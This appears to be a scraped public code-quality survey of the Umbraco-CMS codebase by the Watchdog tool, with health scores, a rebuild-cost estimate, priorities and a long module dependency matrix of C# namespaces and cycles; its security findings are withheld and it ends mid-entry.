Public report — Umbraco-CMS, published 10 Sep 2026.
Concrete security findings (CVE IDs, secret matches, dependency versions) are hidden in this version;
ask the repo owner for the full report.
Public
Codebase surveyMeasured under the Code Assurance Index · rubric rubric-2026.09.7 (frozen) · verify this surveyFiledcd_59a716ae22684d22888c364b17032ede
Filed 10 September 2026, 08:01 UTC
Public
Very large · 763,132 LoC · 30 projects · rebuild ~25.3 person-years · weakest lens: Readiness (48%)
Findings by grade
225 critical2122 serious232 minor3 could not be resolved — could be critical — see Limitations
This survey was produced by
Watchdog
Producer
Canine Development
Analyzer
Watchdog engine 1.0.0
Measured
10 September 2026, 07:21 UTC
A measurement, not a certificate. The Code Assurance Index does not certify,
approve or guarantee this codebase; it records a reproducible number and the evidence it was computed from. The
standard is authored by Canine Development, who also build Watchdog — its only implementation today. That is said
here so the number is checked rather than believed.
Grounded in facts. Every number here is computed, not narrated — reproducible, tool-backed, and traceable to a line of code. How to trust this ▸
2435findings with an exact file:lineof 2579 — the remainder are repo-wide signals (a dimension-level measurement, not a single line); open any file:line and verify
104/131dimensions across the health lenses763132 LoC · 30 projects — wide & deep
The platform is an adequate but fragile asset, scoring 52% overall. While the codebase is functional, its sheer scale and operational gaps create significant exposure. With a rebuild cost nearing €3.7 million and a team of nearly fifty engineers, the business has too much capital tied up to ignore the risks lurking in its daily operations.
The most critical vulnerability is operational readiness. At 48%, the system lacks the safety nets required for a deployment of this magnitude. Without robust testing, observability, and security controls, every release carries a high probability of defects, outages, or security incidents. This weakness threatens delivery speed and reliability, turning routine updates into high-stakes events that could disrupt customer trust and incur costly remediation efforts.
A secondary concern is architectural drift. The codebase is massive, with over 760,000 lines of production code, yet nearly a third is boilerplate. This bloat obscures the core business logic, making changes slower and more error-prone. The lack of declared bounded contexts means new teams will struggle to understand the system, increasing onboarding time and the risk of unintended side effects when modifying shared components.
However, the foundation is not without strength. The code health score of 65% indicates that the existing logic is generally maintainable, and performance metrics are solid at 69%. These areas provide a stable base for improvement, suggesting that the system is not broken, but rather under-protected and under-documented.
The highest-leverage action is immediate dependency hygiene. Removing unused packages and explicitly declaring imports will reduce attack surfaces and simplify maintenance with minimal effort. This step should precede any major architectural overhaul, as it stabilizes the environment and reduces the cost of future changes. Until then, the picture remains partial, as key areas like domain modeling and event-driven patterns were not measured, leaving unknowns in the system’s long-term scalability.
How the score is built — each lens's share of the headlineWidth is the lens's weight in the worst-heaviest fold (the weakest area pulls hardest); colour is that lens's own band. A lens fixes the score in proportion to its width.
A full-fidelity diff against the previous run's complete recorded findings — line-move tolerant: a finding that only shifted line counts as unchanged, only genuinely new titles/files surface here.
Rebuild cost & value ~ Modeled — €1,200,000–€6,200,000
0.7× (at 52% quality) — the last 20% of quality is most of the work
Size & shape
Very large · effort split not classified for 348,617 line(s) outside the .NET model (the tier breakdown is a C#-only syntax walk)
This codebase represents roughly ~25.3 person-years of build effort (about ~€3,700,000 to rebuild). Its weakest lens is Readiness at 48% — the part of that asset most exposed by the findings below.
How we model this: boilerplate at a scaffolding rate + logic × domain Standard (×1.3) — service/app, CQRS × a 0.7× quality factor, at €60–95/h; indicative, ±~30% · size measured directly from source. Indicative only — most sensitive to the hourly rate and the domain tier (both tunable in config).
Top priorities
The highest-leverage moves; the full ranked list is in the Roadmap below.
1
Resolve the 2 Prerelease dependency finding(s) in Dependency Hygiene.
Value concentrated against a weak lens · Medium · Value at risk
This is a Very large asset (~25.3 person-years to rebuild), and its weakest lens is Readiness at 48%. The operational and business risk on an asset this size concentrates there — that's where remediation buys the most protection.
→ Direct remediation budget at Readiness first — highest risk-reduction per euro on an asset this size.
Highest-leverage move · Medium · Leverage
Of everything flagged, the best return on effort is: Remove unused dependencies, declare unlisted imports explicitly, and demote type-/test-only packages to devDependencies. The rest can wait behind it.
Evidence: priority ranking: top of 5 ranked by impact/effort
→ Remove unused dependencies, declare unlisted imports explicitly, and demote type-/test-only packages to devDependencies.
Architecture — module dependency graph
Project dependencies, layered top-to-bottom; arrows show direction. Any dashed red edge points upward or sideways — a layering smell or cycle. A clean layered graph has none.
Architecture — module dependency matrix
Rows and columns are the same modules, ordered so that a module only depends on ones above it. A cell means the row depends on the column, and its number is how many type pairs create that dependency. Read one thing: is anything above the diagonal? A mark there is a dependency cycle. (A cycle is all this shows — an unusual but cycle-free dependency sits below the diagonal like any other.)
687 modules, 2976 dependencies. 6 dependency cycles across 124 modules, marked above the diagonal.
Showing the 40 most-connected modules; 647 more are not drawn.
Module dependency matrix. The row depends on the column; the number is how many type pairs create the dependency. A cell above the diagonal is part of a dependency cycle.
Cms.Core.PublishedCache uses Cms.Core.Models.PublishedContent. Changing Cms.Core.Models.PublishedContent can break Cms.Core.PublishedCache, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
7→25 Cms.Core.PublishedCache depends on Cms.Core.Modelscycle✕
Type pairs
7 distinct (type in Cms.Core.PublishedCache → type in Cms.Core.Models) references.
Cms.Infrastructure.Persistence uses Cms.Core.Configuration.Models. Changing Cms.Core.Configuration.Models can break Cms.Infrastructure.Persistence, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
9→29 Cms.Infrastructure.Persistence depends on Cms.Core.Composingcycle✕
Type pairs
2 distinct (type in Cms.Infrastructure.Persistence → type in Cms.Core.Composing) references.
Cms.Core.Persistence.Repositories uses Cms.Core.Serialization. Changing Cms.Core.Serialization can break Cms.Core.Persistence.Repositories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
14→6 Cms.Core.Persistence.Repositories depends on Cms.Core.Models.Entities✕
Type pairs
5 distinct (type in Cms.Core.Persistence.Repositories → type in Cms.Core.Models.Entities) references.
Cms.Core.Persistence.Repositories uses Cms.Core.Models.Entities. Changing Cms.Core.Models.Entities can break Cms.Core.Persistence.Repositories, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
14→13 Cms.Core.Persistence.Repositories depends on Cms.Core.Security✕
Type pairs
3 distinct (type in Cms.Core.Persistence.Repositories → type in Cms.Core.Security) references.
Cms.Core.Persistence.Repositories uses Cms.Core.Events. Changing Cms.Core.Events can break Cms.Core.Persistence.Repositories, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
14→25 Cms.Core.Persistence.Repositories depends on Cms.Core.Modelscycle✕
Type pairs
57 distinct (type in Cms.Core.Persistence.Repositories → type in Cms.Core.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Persistence.Repositories uses Cms.Core.Models.Membership. Changing Cms.Core.Models.Membership can break Cms.Core.Persistence.Repositories, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
15→7 Cms.Core.Services.Navigation depends on Cms.Core.PublishedCache✕
Type pairs
4 distinct (type in Cms.Core.Services.Navigation → type in Cms.Core.PublishedCache) references.
Cms.Core.Services.Navigation uses Cms.Core.Persistence.Repositories. Changing Cms.Core.Persistence.Repositories can break Cms.Core.Services.Navigation, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
15→17 Cms.Core.Services.Navigation depends on Cms.Core.Notificationscycle✕
Type pairs
2 distinct (type in Cms.Core.Services.Navigation → type in Cms.Core.Notifications) references.
Cms.Core.Services.Navigation uses Cms.Core.Models.PublishedContent. Changing Cms.Core.Models.PublishedContent can break Cms.Core.Services.Navigation, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
15→21 Cms.Core.Services.Navigation depends on Cms.Core.Eventscycle✕
Type pairs
2 distinct (type in Cms.Core.Services.Navigation → type in Cms.Core.Events) references.
Cms.Core.Routing uses Cms.Core.Services. Changing Cms.Core.Services can break Cms.Core.Routing, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
16→19 Cms.Core.Routing depends on Cms.Core.Models.PublishedContentcycle✕
Type pairs
32 distinct (type in Cms.Core.Routing → type in Cms.Core.Models.PublishedContent) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Notifications uses Cms.Core.Routing. Changing Cms.Core.Routing can break Cms.Core.Notifications, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
17→21 Cms.Core.Notifications depends on Cms.Core.Eventscycle✕
Type pairs
250 distinct (type in Cms.Core.Notifications → type in Cms.Core.Events) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Notifications uses Cms.Core.Events. Changing Cms.Core.Events can break Cms.Core.Notifications, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
17→25 Cms.Core.Notifications depends on Cms.Core.Modelscycle✕
Type pairs
161 distinct (type in Cms.Core.Notifications → type in Cms.Core.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core.Serialization. Changing Cms.Core.Serialization can break Cms.Core.Services, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
18→3 Cms.Core.Services depends on Cms.Core.Services.OperationStatus✕
Type pairs
98 distinct (type in Cms.Core.Services → type in Cms.Core.Services.OperationStatus) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core.Strings. Changing Cms.Core.Strings can break Cms.Core.Services, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
18→10 Cms.Core.Services depends on Cms.Core.Scoping✕
Type pairs
82 distinct (type in Cms.Core.Services → type in Cms.Core.Scoping) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core.Web. Changing Cms.Core.Web can break Cms.Core.Services, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
18→13 Cms.Core.Services depends on Cms.Core.Security✕
Type pairs
35 distinct (type in Cms.Core.Services → type in Cms.Core.Security) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core.Security. Changing Cms.Core.Security can break Cms.Core.Services, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
18→14 Cms.Core.Services depends on Cms.Core.Persistence.Repositories✕
Type pairs
100 distinct (type in Cms.Core.Services → type in Cms.Core.Persistence.Repositories) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core.Routing. Changing Cms.Core.Routing can break Cms.Core.Services, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
18→17 Cms.Core.Services depends on Cms.Core.Notifications✕
Type pairs
76 distinct (type in Cms.Core.Services → type in Cms.Core.Notifications) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core.Models.PublishedContent. Changing Cms.Core.Models.PublishedContent can break Cms.Core.Services, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
18→21 Cms.Core.Services depends on Cms.Core.Eventscycle✕
Type pairs
73 distinct (type in Cms.Core.Services → type in Cms.Core.Events) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core.IO. Changing Cms.Core.IO can break Cms.Core.Services, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
18→25 Cms.Core.Services depends on Cms.Core.Modelscycle✕
Type pairs
375 distinct (type in Cms.Core.Services → type in Cms.Core.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core.Models. Changing Cms.Core.Models can break Cms.Core.Services, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
18→26 Cms.Core.Services depends on Cms.Core.Configuration.Modelscycle✕
Type pairs
33 distinct (type in Cms.Core.Services → type in Cms.Core.Configuration.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
130 distinct (type in Cms.Core.Services → type in Cms.Core) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Services uses Cms.Core. Changing Cms.Core can break Cms.Core.Services, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
18→32 Cms.Core.Services depends on Cms.Core.Models.Membershipcycle✕
Type pairs
71 distinct (type in Cms.Core.Services → type in Cms.Core.Models.Membership) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Models.PublishedContent uses Cms.Core.PropertyEditors. Changing Cms.Core.PropertyEditors can break Cms.Core.Models.PublishedContent, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
19→25 Cms.Core.Models.PublishedContent depends on Cms.Core.Modelscycle✕
Type pairs
13 distinct (type in Cms.Core.Models.PublishedContent → type in Cms.Core.Models) references.
Cms.Infrastructure.Migrations uses Cms.Infrastructure.Persistence. Changing Cms.Infrastructure.Persistence can break Cms.Infrastructure.Migrations, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
20→10 Cms.Infrastructure.Migrations depends on Cms.Core.Scoping✕
Type pairs
1 distinct (type in Cms.Infrastructure.Migrations → type in Cms.Core.Scoping) reference.
Cms.Infrastructure.Migrations uses Cms.Core.Models.PublishedContent. Changing Cms.Core.Models.PublishedContent can break Cms.Infrastructure.Migrations, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
20→25 Cms.Infrastructure.Migrations depends on Cms.Core.Modelscycle✕
Type pairs
3 distinct (type in Cms.Infrastructure.Migrations → type in Cms.Core.Models) references.
Cms.Api.Management.ViewModels uses Cms.Core.Events. Changing Cms.Core.Events can break Cms.Api.Management.ViewModels, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
23→2 Cms.Core.PropertyEditors depends on Cms.Core.Serialization✕
Type pairs
61 distinct (type in Cms.Core.PropertyEditors → type in Cms.Core.Serialization) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.PropertyEditors uses Cms.Core.Serialization. Changing Cms.Core.Serialization can break Cms.Core.PropertyEditors, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
23→8 Cms.Core.PropertyEditors depends on Cms.Core.Strings✕
Type pairs
33 distinct (type in Cms.Core.PropertyEditors → type in Cms.Core.Strings) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.PropertyEditors uses Cms.Core.Notifications. Changing Cms.Core.Notifications can break Cms.Core.PropertyEditors, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
23→18 Cms.Core.PropertyEditors depends on Cms.Core.Services✕
Type pairs
82 distinct (type in Cms.Core.PropertyEditors → type in Cms.Core.Services) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.PropertyEditors uses Cms.Core.Models.PublishedContent. Changing Cms.Core.Models.PublishedContent can break Cms.Core.PropertyEditors, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
23→21 Cms.Core.PropertyEditors depends on Cms.Core.Events✕
Type pairs
2 distinct (type in Cms.Core.PropertyEditors → type in Cms.Core.Events) references.
Cms.Core.PropertyEditors uses Cms.Core.Events. Changing Cms.Core.Events can break Cms.Core.PropertyEditors, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
23→24 Cms.Core.PropertyEditors depends on Cms.Core.IOcycle✕
Type pairs
85 distinct (type in Cms.Core.PropertyEditors → type in Cms.Core.IO) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.PropertyEditors uses Cms.Core.IO. Changing Cms.Core.IO can break Cms.Core.PropertyEditors, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
23→25 Cms.Core.PropertyEditors depends on Cms.Core.Modelscycle✕
Type pairs
113 distinct (type in Cms.Core.PropertyEditors → type in Cms.Core.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.PropertyEditors uses Cms.Core.Configuration.Models. Changing Cms.Core.Configuration.Models can break Cms.Core.PropertyEditors, not the reverse.
Position
Above the diagonal — a cycle. Neither module can be changed, tested or deployed independently until one of these dependencies goes.
23→29 Cms.Core.PropertyEditors depends on Cms.Core.Composingcycle✕
Type pairs
11 distinct (type in Cms.Core.PropertyEditors → type in Cms.Core.Composing) references.
Cms.Core.Models uses Cms.Core.Serialization. Changing Cms.Core.Serialization can break Cms.Core.Models, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
25→6 Cms.Core.Models depends on Cms.Core.Models.Entities✕
Type pairs
78 distinct (type in Cms.Core.Models → type in Cms.Core.Models.Entities) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Configuration.Models uses Cms.Core.Models.PublishedContent. Changing Cms.Core.Models.PublishedContent can break Cms.Core.Configuration.Models, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
26→25 Cms.Core.Configuration.Models depends on Cms.Core.Models✕
Type pairs
1 distinct (type in Cms.Core.Configuration.Models → type in Cms.Core.Models) reference.
Cms.Core.DeliveryApi uses Cms.Core.Services.OperationStatus. Changing Cms.Core.Services.OperationStatus can break Cms.Core.DeliveryApi, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
27→7 Cms.Core.DeliveryApi depends on Cms.Core.PublishedCache✕
Type pairs
2 distinct (type in Cms.Core.DeliveryApi → type in Cms.Core.PublishedCache) references.
Cms.Core.DeliveryApi uses Cms.Core.Services. Changing Cms.Core.Services can break Cms.Core.DeliveryApi, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
27→19 Cms.Core.DeliveryApi depends on Cms.Core.Models.PublishedContent✕
Type pairs
41 distinct (type in Cms.Core.DeliveryApi → type in Cms.Core.Models.PublishedContent) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
26 distinct (type in Cms.Core.Cache → type in Cms.Core.Events) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
33 distinct (type in Cms.Core.Cache → type in Cms.Core.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Core.Models.Membership uses Cms.Core.Configuration.Models. Changing Cms.Core.Configuration.Models can break Cms.Core.Models.Membership, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
32→31 Cms.Core.Models.Membership depends on Cms.Core✕
Type pairs
2 distinct (type in Cms.Core.Models.Membership → type in Cms.Core) references.
Cms.Infrastructure.Install uses Cms.Core.Services.OperationStatus. Changing Cms.Core.Services.OperationStatus can break Cms.Infrastructure.Install, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
33→4 Cms.Infrastructure.Install depends on Cms.Core.Hosting✕
Type pairs
1 distinct (type in Cms.Infrastructure.Install → type in Cms.Core.Hosting) reference.
Cms.Infrastructure.Install uses Cms.Infrastructure.Persistence. Changing Cms.Infrastructure.Persistence can break Cms.Infrastructure.Install, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
33→10 Cms.Infrastructure.Install depends on Cms.Core.Scoping✕
Type pairs
2 distinct (type in Cms.Infrastructure.Install → type in Cms.Core.Scoping) references.
Cms.Infrastructure.Install uses Cms.Infrastructure.Migrations. Changing Cms.Infrastructure.Migrations can break Cms.Infrastructure.Install, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
33→21 Cms.Infrastructure.Install depends on Cms.Core.Events✕
Type pairs
6 distinct (type in Cms.Infrastructure.Install → type in Cms.Core.Events) references.
Cms.Infrastructure.Install uses Cms.Core.Configuration.Models. Changing Cms.Core.Configuration.Models can break Cms.Infrastructure.Install, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
33→29 Cms.Infrastructure.Install depends on Cms.Core.Composing✕
Type pairs
1 distinct (type in Cms.Infrastructure.Install → type in Cms.Core.Composing) reference.
Cms.Api.Management.Controllers uses Cms.Core.Services.OperationStatus. Changing Cms.Core.Services.OperationStatus can break Cms.Api.Management.Controllers, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
34→13 Cms.Api.Management.Controllers depends on Cms.Core.Security✕
Type pairs
2 distinct (type in Cms.Api.Management.Controllers → type in Cms.Core.Security) references.
Cms.Api.Management.Controllers uses Cms.Core.Models.Membership. Changing Cms.Core.Models.Membership can break Cms.Api.Management.Controllers, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
35→4 Cms.Infrastructure.Examine depends on Cms.Core.Hosting✕
Type pairs
8 distinct (type in Cms.Infrastructure.Examine → type in Cms.Core.Hosting) references.
Cms.Infrastructure.Examine uses Cms.Infrastructure.Persistence. Changing Cms.Infrastructure.Persistence can break Cms.Infrastructure.Examine, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
35→10 Cms.Infrastructure.Examine depends on Cms.Core.Scoping✕
Type pairs
5 distinct (type in Cms.Infrastructure.Examine → type in Cms.Core.Scoping) references.
Cms.Infrastructure.Examine uses Cms.Core.Notifications. Changing Cms.Core.Notifications can break Cms.Infrastructure.Examine, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
35→18 Cms.Infrastructure.Examine depends on Cms.Core.Services✕
Type pairs
31 distinct (type in Cms.Infrastructure.Examine → type in Cms.Core.Services) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Infrastructure.Examine uses Cms.Core.Configuration.Models. Changing Cms.Core.Configuration.Models can break Cms.Infrastructure.Examine, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
35→27 Cms.Infrastructure.Examine depends on Cms.Core.DeliveryApi✕
Type pairs
5 distinct (type in Cms.Infrastructure.Examine → type in Cms.Core.DeliveryApi) references.
Cms.Infrastructure.Examine uses Cms.Core.DependencyInjection. Changing Cms.Core.DependencyInjection can break Cms.Infrastructure.Examine, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
35→29 Cms.Infrastructure.Examine depends on Cms.Core.Composing✕
Type pairs
1 distinct (type in Cms.Infrastructure.Examine → type in Cms.Core.Composing) reference.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Serialization. Changing Cms.Core.Serialization can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→4 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Hosting✕
Type pairs
3 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Hosting) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Hosting. Changing Cms.Core.Hosting can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→6 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Models.Entities✕
Type pairs
15 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Models.Entities) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Models.Entities. Changing Cms.Core.Models.Entities can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→8 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Strings✕
Type pairs
8 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Strings) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Strings. Changing Cms.Core.Strings can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→9 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Infrastructure.Persistence✕
Type pairs
59 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Infrastructure.Persistence) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Infrastructure.Persistence. Changing Cms.Infrastructure.Persistence can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→12 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Mapping✕
Type pairs
1 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Mapping) reference.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Mapping. Changing Cms.Core.Mapping can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→13 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Security✕
Type pairs
6 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Security) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Security. Changing Cms.Core.Security can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→14 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Persistence.Repositories✕
Type pairs
111 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Persistence.Repositories) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Persistence.Repositories. Changing Cms.Core.Persistence.Repositories can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→18 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Services✕
Type pairs
34 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Services) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Services. Changing Cms.Core.Services can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→21 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Events✕
Type pairs
9 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Events) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Events. Changing Cms.Core.Events can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→23 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.PropertyEditors✕
Type pairs
15 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.PropertyEditors) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.PropertyEditors. Changing Cms.Core.PropertyEditors can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→24 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.IO✕
Type pairs
10 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.IO) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.IO. Changing Cms.Core.IO can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→25 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Models✕
Type pairs
99 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Models) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Models. Changing Cms.Core.Models can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→26 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Configuration.Models✕
Type pairs
7 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Configuration.Models) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Configuration.Models. Changing Cms.Core.Configuration.Models can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→30 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Cache✕
Type pairs
170 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Cache) references. Showing 25 of them; the rest are in namespace-graph.json in this report's bundle.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Cache. Changing Cms.Core.Cache can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→31 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core✕
Type pairs
3 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core. Changing Cms.Core can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
36→32 Cms.Infrastructure.Persistence.Repositories.Implement depends on Cms.Core.Models.Membership✕
Type pairs
19 distinct (type in Cms.Infrastructure.Persistence.Repositories.Implement → type in Cms.Core.Models.Membership) references.
Cms.Infrastructure.Persistence.Repositories.Implement uses Cms.Core.Models.Membership. Changing Cms.Core.Models.Membership can break Cms.Infrastructure.Persistence.Repositories.Implement, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
37→1 Cms.Api.Management.Controllers.Tree depends on Cms.Api.Common.ViewModels.Pagination✕
Type pairs
5 distinct (type in Cms.Api.Management.Controllers.Tree → type in Cms.Api.Common.ViewModels.Pagination) references.
Cms.Api.Management.Controllers.Tree uses Cms.Api.Common.ViewModels.Pagination. Changing Cms.Api.Common.ViewModels.Pagination can break Cms.Api.Management.Controllers.Tree, not the reverse.
Position
Below the diagonal — points down the layering, which is what you want.
37→6 Cms.Api.Management.Controllers.Tree depends on Cms.Core.Models.Entities✕
Type pairs
